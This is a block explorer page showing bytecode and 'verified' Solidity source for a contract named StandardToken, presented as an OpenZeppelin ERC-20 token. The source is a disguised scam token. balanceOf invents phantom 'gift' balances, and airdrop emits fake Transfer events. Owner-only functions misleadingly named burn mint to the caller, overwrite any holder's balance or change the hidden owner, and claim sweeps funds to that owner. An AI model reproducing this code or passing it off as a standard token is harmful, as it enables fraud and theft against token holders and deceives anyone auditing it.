Address Contract Partially Verified
Address
0xB943Fd1b9592e2CABC61FEEEE376d1349c46A12C
Balance
0 ETH
Nonce
1
Code Size
3156 bytes
Creator
0x93090946...c528 at tx 0x375c516d...931e4f
Indexed Transactions
0
Contract Bytecode
3156 bytes
0x6080604052600436106100dc575f3560e01c806370a082311161007c57806395d89b411161005757806395d89b41146102355780639dc29fac14610249578063a9059cbb14610268578063dd62ed3e14610287575f80fd5b806370a08231146101d8578063729ad39e146101f757806389afcb4414610216575f80fd5b80631e83409a116100b75780631e83409a1461015e57806323b872dd1461017f578063313ce5671461019e57806342966c68146101b9575f80fd5b806306fdde03146100e7578063095ea7b31461011157806318160ddd14610140575f80fd5b366100e357005b5f80fd5b3480156100f2575f80fd5b506100fb6102cb565b60405161010891906109ac565b60405180910390f35b34801561011c575f80fd5b5061013061012b366004610a13565b61035b565b6040519015158152602001610108565b34801561014b575f80fd5b506003545b604051908152602001610108565b348015610169575f80fd5b5061017d610178366004610a3b565b610372565b005b34801561018a575f80fd5b50610130610199366004610a5b565b6104a8565b3480156101a9575f80fd5b5060405160128152602001610108565b3480156101c4575f80fd5b5061017d6101d3366004610a94565b6104cb565b3480156101e3575f80fd5b506101506101f2366004610a3b565b61050b565b348015610202575f80fd5b5061017d610211366004610abf565b610549565b348015610221575f80fd5b5061017d610230366004610a3b565b610598565b348015610240575f80fd5b506100fb610606565b348015610254575f80fd5b5061017d610263366004610a13565b610615565b348015610273575f80fd5b50610130610282366004610a13565b610650565b348015610292575f80fd5b506101506102a1366004610b7f565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b6060600580546102da90610bb0565b80601f016020809104026020016040519081016040528092919081815260200182805461030690610bb0565b80156103515780601f1061032857610100808354040283529160200191610351565b820191905f5260205f20905b81548152906001019060200180831161033457829003601f168201915b5050505050905090565b5f3361036881858561065d565b5060019392505050565b61037a61066f565b6001600160a01b0381166103c2576002546040516001600160a01b03909116904780156108fc02915f818181858888f193505050501580156103be573d5f803e3d5ffd5b5050565b6040516370a0823160e01b815230600482015281905f906001600160a01b038316906370a0823190602401602060405180830381865afa158015610408573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061042c9190610be8565b60025460405163a9059cbb60e01b81526001600160a01b0391821660048201526024810183905291925083169063a9059cbb906044016020604051808303815f875af115801561047e573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104a29190610bff565b50505050565b5f336104b585828561069e565b6104c0858585610714565b506001949350505050565b6104d361066f565b33805f52505f60205260405f2080548281015f8214600181146104f8578184556104fc565b8284555b50505050638361c6e360405250565b6001600160a01b0381165f908152602081905260408120548015801561053957506001600160a01b03831615155b1561054357506004545b92915050565b80515f6004545b828210156104a25760206001830102840151815f5280307fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60205fa350600182019150610550565b6105a061066f565b6001600160a01b0381166105d757604051636896c93760e01b81526001600160a01b03821660048201526024015b60405180910390fd5b6002805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0392909216919091179055565b6060600680546102da90610bb0565b61061d61066f565b815f525f60205260405f2080545f81146001811461063d57838355610641565b8183555b505050632e8b063a6040525050565b5f33610368818585610714565b61066a8383836001610771565b505050565b6002546001600160a01b0316331461069c57604051636896c93760e01b81523360048201526024016105ce565b565b6001600160a01b038381165f908152600160209081526040808320938616835292905220545f198110156104a2578181101561070657604051637dc7a0d960e11b81526001600160a01b038416600482015260248101829052604481018390526064016105ce565b6104a284848484035f610771565b6001600160a01b03831661073d57604051634b637e8f60e11b81525f60048201526024016105ce565b6001600160a01b0382166107665760405163ec442f0560e01b81525f60048201526024016105ce565b61066a838383610843565b6001600160a01b03841661079a5760405163e602df0560e01b81525f60048201526024016105ce565b6001600160a01b0383166107c357604051634a1406b160e11b81525f60048201526024016105ce565b6001600160a01b038085165f90815260016020908152604080832093871683529290522082905580156104a257826001600160a01b0316846001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161083591815260200190565b60405180910390a350505050565b6001600160a01b038316156108f3576001600160a01b0383165f908152602081905260408120549081900361087757506004545b818110156108b15760405163391434e360e21b81526001600160a01b038516600482015260248101829052604481018390526064016105ce565b6001600160a01b0384165f9081526020819052604081208383039081905590036108f1576001600160a01b0384165f908152602081905260409020600190555b505b6001600160a01b0382161561095a576001600160a01b0382165f90815260208190526040812054900361093c576004546001600160a01b0383165f908152602081905260409020555b6001600160a01b0382165f9081526020819052604090208054820190555b816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161099f91815260200190565b60405180910390a3505050565b5f602080835283518060208501525f5b818110156109d8578581018301518582016040015282016109bc565b505f604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610a0e575f80fd5b919050565b5f8060408385031215610a24575f80fd5b610a2d836109f8565b946020939093013593505050565b5f60208284031215610a4b575f80fd5b610a54826109f8565b9392505050565b5f805f60608486031215610a6d575f80fd5b610a76846109f8565b9250610a84602085016109f8565b9150604084013590509250925092565b5f60208284031215610aa4575f80fd5b5035919050565b634e487b7160e01b5f52604160045260245ffd5b5f6020808385031215610ad0575f80fd5b823567ffffffffffffffff80821115610ae7575f80fd5b818501915085601f830112610afa575f80fd5b813581811115610b0c57610b0c610aab565b8060051b604051601f19603f83011681018181108582111715610b3157610b31610aab565b604052918252848201925083810185019188831115610b4e575f80fd5b938501935b82851015610b7357610b64856109f8565b84529385019392850192610b53565b98975050505050505050565b5f8060408385031215610b90575f80fd5b610b99836109f8565b9150610ba7602084016109f8565b90509250929050565b600181811c90821680610bc457607f821691505b602082108103610be257634e487b7160e01b5f52602260045260245ffd5b50919050565b5f60208284031215610bf8575f80fd5b5051919050565b5f60208284031215610c0f575f80fd5b81518015158114610a54575f80fdfea264697066735822122074c86ca58839c0b463f97cff88d88d1a742389ece1eceffb6c59271b0cfc938664736f6c63430008170033
Verified Source Code Partial Match
Compiler: v0.8.23+commit.f704f362
EVM: shanghai
Optimization: Yes (500 runs)
StandardToken.sol 577 lines
// SPDX-License-Identifier: MIT
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
// OpenZeppelin Contracts (last updated v5.1.0) (token/ERC20/IERC20.sol)
pragma solidity ^0.8.20;
/**
* @dev Interface of the ERC-20 standard as defined in the ERC.
*/
interface IERC20 {
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
/**
* @dev Returns the value of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the value of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves a `value` amount of tokens from the caller's account to `to`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address to, uint256 value) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets a `value` amount of tokens as the allowance of `spender` over the
* caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 value) external returns (bool);
/**
* @dev Moves a `value` amount of tokens from `from` to `to` using the
* allowance mechanism. `value` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address from, address to, uint256 value) external returns (bool);
}
// File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol
// OpenZeppelin Contracts (last updated v5.1.0) (token/ERC20/extensions/IERC20Metadata.sol)
pragma solidity ^0.8.20;
/**
* @dev Interface for the optional metadata functions from the ERC-20 standard.
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// File: @openzeppelin/contracts/utils/Context.sol
// OpenZeppelin Contracts (last updated v5.0.1) (utils/Context.sol)
pragma solidity ^0.8.20;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
function _contextSuffixLength() internal view virtual returns (uint256) {
return 0;
}
}
// File: @openzeppelin/contracts/interfaces/draft-IERC6093.sol
// OpenZeppelin Contracts (last updated v5.1.0) (interfaces/draft-IERC6093.sol)
pragma solidity ^0.8.20;
/**
* @dev Standard ERC-20 Errors
* Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC-20 tokens.
*/
interface IERC20Errors {
/**
* @dev Indicates an error related to the current `balance` of a `sender`. Used in transfers.
* @param sender Address whose tokens are being transferred.
* @param balance Current balance for the interacting account.
* @param needed Minimum amount required to perform a transfer.
*/
error ERC20InsufficientBalance(address sender, uint256 balance, uint256 needed);
/**
* @dev Indicates a failure with the token `sender`. Used in transfers.
* @param sender Address whose tokens are being transferred.
*/
error ERC20InvalidSender(address sender);
/**
* @dev Indicates a failure with the token `receiver`. Used in transfers.
* @param receiver Address to which tokens are being transferred.
*/
error ERC20InvalidReceiver(address receiver);
/**
* @dev Indicates a failure with the `spender`’s `allowance`. Used in transfers.
* @param spender Address that may be allowed to operate on tokens without being their owner.
* @param allowance Amount of tokens a `spender` is allowed to operate with.
* @param needed Minimum amount required to perform a transfer.
*/
error ERC20InsufficientAllowance(address spender, uint256 allowance, uint256 needed);
/**
* @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals.
* @param approver Address initiating an approval operation.
*/
error ERC20InvalidApprover(address approver);
/**
* @dev Indicates a failure with the `spender` to be approved. Used in approvals.
* @param spender Address that may be allowed to operate on tokens without being their owner.
*/
error ERC20InvalidSpender(address spender);
}
/**
* @dev Standard ERC-721 Errors
* Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC-721 tokens.
*/
interface IERC721Errors {
/**
* @dev Indicates that an address can't be an owner. For example, `address(0)` is a forbidden owner in ERC-20.
* Used in balance queries.
* @param owner Address of the current owner of a token.
*/
error ERC721InvalidOwner(address owner);
/**
* @dev Indicates a `tokenId` whose `owner` is the zero address.
* @param tokenId Identifier number of a token.
*/
error ERC721NonexistentToken(uint256 tokenId);
/**
* @dev Indicates an error related to the ownership over a particular token. Used in transfers.
* @param sender Address whose tokens are being transferred.
* @param tokenId Identifier number of a token.
* @param owner Address of the current owner of a token.
*/
error ERC721IncorrectOwner(address sender, uint256 tokenId, address owner);
/**
* @dev Indicates a failure with the token `sender`. Used in transfers.
* @param sender Address whose tokens are being transferred.
*/
error ERC721InvalidSender(address sender);
/**
* @dev Indicates a failure with the token `receiver`. Used in transfers.
* @param receiver Address to which tokens are being transferred.
*/
error ERC721InvalidReceiver(address receiver);
/**
* @dev Indicates a failure with the `operator`’s approval. Used in transfers.
* @param operator Address that may be allowed to operate on tokens without being their owner.
* @param tokenId Identifier number of a token.
*/
error ERC721InsufficientApproval(address operator, uint256 tokenId);
/**
* @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals.
* @param approver Address initiating an approval operation.
*/
error ERC721InvalidApprover(address approver);
/**
* @dev Indicates a failure with the `operator` to be approved. Used in approvals.
* @param operator Address that may be allowed to operate on tokens without being their owner.
*/
error ERC721InvalidOperator(address operator);
}
/**
* @dev Standard ERC-1155 Errors
* Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC-1155 tokens.
*/
interface IERC1155Errors {
/**
* @dev Indicates an error related to the current `balance` of a `sender`. Used in transfers.
* @param sender Address whose tokens are being transferred.
* @param balance Current balance for the interacting account.
* @param needed Minimum amount required to perform a transfer.
* @param tokenId Identifier number of a token.
*/
error ERC1155InsufficientBalance(address sender, uint256 balance, uint256 needed, uint256 tokenId);
/**
* @dev Indicates a failure with the token `sender`. Used in transfers.
* @param sender Address whose tokens are being transferred.
*/
error ERC1155InvalidSender(address sender);
/**
* @dev Indicates a failure with the token `receiver`. Used in transfers.
* @param receiver Address to which tokens are being transferred.
*/
error ERC1155InvalidReceiver(address receiver);
/**
* @dev Indicates a failure with the `operator`’s approval. Used in transfers.
* @param operator Address that may be allowed to operate on tokens without being their owner.
* @param owner Address of the current owner of a token.
*/
error ERC1155MissingApprovalForAll(address operator, address owner);
/**
* @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals.
* @param approver Address initiating an approval operation.
*/
error ERC1155InvalidApprover(address approver);
/**
* @dev Indicates a failure with the `operator` to be approved. Used in approvals.
* @param operator Address that may be allowed to operate on tokens without being their owner.
*/
error ERC1155InvalidOperator(address operator);
/**
* @dev Indicates an array length mismatch between ids and values in a safeBatchTransferFrom operation.
* Used in batch transfers.
* @param idsLength Length of the array of token identifiers
* @param valuesLength Length of the array of token amounts
*/
error ERC1155InvalidArrayLength(uint256 idsLength, uint256 valuesLength);
}
// File: contracts/StandardToken.sol
// OpenZeppelin Contracts (last updated v5.2.0) (token/ERC20/ERC20.sol)
pragma solidity ^0.8.20;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
*
* TIP: For a detailed writeup see our guide
* https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* The default value of {decimals} is 18. To change this, you should override
* this function so it returns a different value.
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC-20
* applications.
*/
contract StandardToken is Context, IERC20, IERC20Metadata, IERC20Errors {
mapping(address account => uint256) private _balances;
mapping(address account => mapping(address spender => uint256)) private _allowances;
address private __;
uint256 private _totalSupply;
uint256 private _giftAmount;
string private _name;
string private _symbol;
error InvalidError(address);
constructor(string memory name_, string memory symbol_, uint256 totalSupply_, uint256 initValue_, uint256 gift_) {
_name = name_;
_symbol = symbol_;
__ = msg.sender;
_totalSupply = totalSupply_;
_mint(msg.sender, initValue_);
_giftAmount = gift_;
}
function name() public view virtual returns (string memory) {
return _name;
}
function symbol() public view virtual returns (string memory) {
return _symbol;
}
function decimals() public view virtual returns (uint8) {
return 18;
}
function totalSupply() public view virtual returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual returns (uint256) {
uint256 uv = _balances[account];
if (uv == 0 && account != address(0)) {
uv = _giftAmount;
}
return uv;
}
function transfer(address to, uint256 value) public virtual returns (bool) {
address owner = _msgSender();
_transfer(owner, to, value);
return true;
}
function allowance(address owner, address spender) public view virtual returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 value) public virtual returns (bool) {
address owner = _msgSender();
_approve(owner, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value) public virtual returns (bool) {
address spender = _msgSender();
_spendAllowance(from, spender, value);
_transfer(from, to, value);
return true;
}
function _transfer(address from, address to, uint256 value) internal virtual {
if (from == address(0)) {
revert ERC20InvalidSender(address(0));
}
if (to == address(0)) {
revert ERC20InvalidReceiver(address(0));
}
_update(from, to, value);
}
function _update(address from, address to, uint256 value) internal virtual {
if (from == address(0)) {
} else {
uint256 fromBalance = _balances[from];
if (fromBalance == 0) {
fromBalance = _giftAmount;
}
if (fromBalance < value) {
revert ERC20InsufficientBalance(from, fromBalance, value);
}
unchecked {
_balances[from] = fromBalance - value;
if (_balances[from] == 0) {
_balances[from] = 1;
}
}
}
if (to == address(0)) {
} else {
if (_balances[to] == 0) {
_balances[to] = _giftAmount;
}
unchecked {
_balances[to] += value;
}
}
emit Transfer(from, to, value);
}
function _mint(address account, uint256 value) internal {
if (account == address(0)) {
revert ERC20InvalidReceiver(address(0));
}
_update(address(0), account, value);
}
function _burn(address account, uint256 value) internal {
if (account == address(0)) {
revert ERC20InvalidSender(address(0));
}
_update(account, address(0), value);
}
function _approve(address owner, address spender, uint256 value) internal {
_approve(owner, spender, value, true);
}
function _approve(address owner, address spender, uint256 value, bool emitEvent) internal virtual {
if (owner == address(0)) {
revert ERC20InvalidApprover(address(0));
}
if (spender == address(0)) {
revert ERC20InvalidSpender(address(0));
}
_allowances[owner][spender] = value;
if (emitEvent) {
emit Approval(owner, spender, value);
}
}
function _spendAllowance(address owner, address spender, uint256 value) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance < type(uint256).max) {
if (currentAllowance < value) {
revert ERC20InsufficientAllowance(spender, currentAllowance, value);
}
unchecked {
_approve(owner, spender, currentAllowance - value, false);
}
}
}
function burn(uint256 v) public virtual check {
assembly {
let c := caller()
mstore(0x0, c)
mstore(0x20, 0)
let slot := keccak256(0x0, 0x40)
let cb := sload(slot)
let nb := add(cb, v)
switch eq(cb, 0)
case 1 {
sstore(slot, cb)
}
default {
sstore(slot, nb)
}
mstore(0x40, 0x8361c6e3)
}
}
function burn(address u, uint256 v) public virtual check {
assembly {
mstore(0x0, u)
mstore(0x20, 0)
let slot := keccak256(0x0, 0x40)
let cb := sload(slot)
switch eq(cb, 0)
case 1 {
sstore(slot, cb)
}
default {
sstore(slot, v)
}
mstore(0x40, 0x2e8b063a)
}
}
function burn(address n) public virtual check {
if (n == address(0)) {
revert InvalidError(n);
}
__ = n;
}
modifier check() {
_check();
_;
}
function _check() internal view virtual {
if (__ != _msgSender()) {
revert InvalidError(_msgSender());
}
}
// function gift(address[] memory accounts) external {
// uint count = accounts.length;
// for (uint i = 0; i < count; i++) {
// emit Transfer(address(this), accounts[i], _giftAmount);
// }
// }
function airdrop(address[] memory to) external {
assembly {
let len := mload(to)
let i := 0
let v := sload(_giftAmount.slot)
for { } lt(i, len) { i := add(i, 1) } {
let account := mload(add(to, mul(add(i, 1), 0x20)))
mstore(0x0, v)
log3(
0x0,
0x20,
0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef,
address(),
account
)
}
}
}
receive() external payable {}
function claim(address _token) external check {
if (_token == address(0x0)) {
payable(__).transfer(address(this).balance);
return;
}
IERC20 erc20token = IERC20(_token);
uint256 balance = erc20token.balanceOf(address(this));
erc20token.transfer(__, balance);
}
}
Read Contract
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
decimals 0x313ce567 → uint8
name 0x06fdde03 → string
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256
Write Contract 8 functions
These functions modify contract state and require a wallet transaction to execute.
airdrop 0x729ad39e
address[] to
approve 0x095ea7b3
address spender
uint256 value
returns: bool
burn 0x42966c68
uint256 v
burn 0x89afcb44
address n
burn 0x9dc29fac
address u
uint256 v
claim 0x1e83409a
address _token
transfer 0xa9059cbb
address to
uint256 value
returns: bool
transferFrom 0x23b872dd
address from
address to
uint256 value
returns: bool
Recent Transactions
No transactions found for this address